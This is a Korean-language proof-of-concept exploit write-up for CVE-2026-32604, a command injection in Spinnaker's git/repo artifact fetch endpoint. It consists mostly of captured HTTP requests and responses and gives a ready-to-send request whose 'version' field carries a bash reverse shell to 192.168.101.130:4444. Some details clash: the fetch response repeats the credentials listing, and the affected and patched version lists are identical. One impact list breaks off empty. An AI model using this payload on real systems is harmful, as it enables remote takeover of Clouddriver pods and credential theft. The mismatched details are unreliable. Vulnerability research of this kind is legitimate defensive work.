
CVE-2026-32604에 대한 개념 증명 익스플로잇으로, Spinnaker의 GitRepo 아티팩트 처리에서 version 필드를 통한 명령 주입 RCE입니다.
CVE-2026-32604 -
git/repo아티팩트 유형을 통한 Spinnaker의 원격 코드 실행.
이것은 Spinnaker의 GitRepo 아티팩트 처리에서 발생하는 명령 주입 / 원격 코드 실행 취약점입니다.
취약한 기능은 git/repo 아티팩트의 version 필드를 통해 사용자가 제어하는 값이 적절히 정제되지 않은 채 명령 실행에 도달할 수 있도록 합니다.
취약한 엔드포인트는 다음과 같습니다:
PUT /artifacts/fetch
중요한 점은 애플리케이션이 git/repo 아티팩트 제공자를 다음을 통해 노출한다는 것입니다:
GET /artifacts/credentials
이는 다음을 반환합니다:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
이는 git/repo 아티팩트 유형이 사용 가능함을 확인시켜 줍니다.
취약한 요청은 다음으로 전송됩니다:
PUT /artifacts/fetch
Git 저장소 아티팩트를 포함하는 JSON 본문과 함께.
version 매개변수는 셸 구문으로 조작될 수 있습니다.
테스트를 위해 다음을 사용했습니다:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
PoC 중 캡처된 전체 요청은 다음과 같습니다:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
여기서 중요한 매개변수는 다음과 같습니다:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
주입된 셸 표현식은 예상되는 Git 브랜치/버전 값 뒤에 추가됩니다.
#은 주입된 표현식 이후의 명령 나머지 부분을 주석 처리하는 데 사용됩니다.
요청은 취약한 애플리케이션에 의해 수락되었습니다.
캡처된 HTTP 응답은 다음과 같습니다:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
관련된 요점은 취약한 아티팩트 유형이 존재하며 악성 version 값이 아티팩트 가져오기 엔드포인트에 의해 수락된다는 것입니다.
취약한 엔드포인트를 테스트하기 전에 대상이 응답하는지 확인했습니다:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
응답:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
PoC는 기본적으로 다음과 같습니다:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
문제는 단순히 엔드포인트가 Git 브랜치 이름을 받아들인다는 것이 아닙니다. 문제는 공격자가 제어하는 Git 아티팩트 데이터가 예상되는 Git 버전/브랜치 구문으로 안전하게 제한되지 않은 채 명령 실행 컨텍스트에 도달한다는 것입니다.
빠른 재현을 위해 핵심 요청은 다음과 같습니다:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
위의 페이로드는 통제된 랩 환경 전용입니다.
취약한 경로는 GitRepo 아티팩트 구현이 공격자가 제어하는 아티팩트 정보를 처리하는 것과 관련됩니다.
version에 대해 예상되는 값은 다음과 유사합니다:
main
그러나 애플리케이션은 값을 해당 예상 형식으로 충분히 제한하지 않습니다.
대신 셸 구문이 도입될 수 있습니다:
main; <command> #
이는 결과 명령의 의미를 변경합니다.
이로 인해 아티팩트 검색 작업이 취약한 Spinnaker Clouddriver 서비스의 컨텍스트에서 임의 명령 실행으로 바뀝니다.
성공적인 익스플로잇은 영향을 받는 Clouddriver 파드에서 임의 명령 실행을 초래할 수 있습니다.
침해된 파드의 권한과 환경에 따라, 이는 잠재적으로 공격자가 다음을 할 수 있게 합니다:
공식 Spinnaker 보안 권고는 익스플로잇이 자격 증명을 노출하거나, 파일을 삭제하거나, 리소스를 주입할 수 있다고 구체적으로 언급합니다.
Spinnaker 보안 권고에 따르면, 영향을 받는 릴리스 라인은 다음 이전 버전을 포함합니다:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
패치된 버전은 다음과 같습니다:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
이 취약점은 CVE-2026-32604로 추적되며 CWE-20: 부적절한 입력 검증으로 분류됩니다.
Spinnaker를 패치된 릴리스로 업그레이드하십시오.
업스트림 권고는 즉시 업그레이드할 수 없는 설치를 위한 임시 방편으로 git/repo 아티팩트 유형을 비활성화하는 것도 나열합니다.
가능한 경우 영향을 받는 릴리스 브랜치에 머무르기보다 현재 Spinnaker 릴리스를 사용해야 합니다.
이 PoC는 보안 연구, 취약점 검증 및 승인된 테스트를 위해 제공됩니다.
소유하거나 테스트에 대한 명시적 허가를 받은 시스템에 대해서만 실행하십시오.
저는 격리된 랩 환경에서 취약점을 테스트했습니다.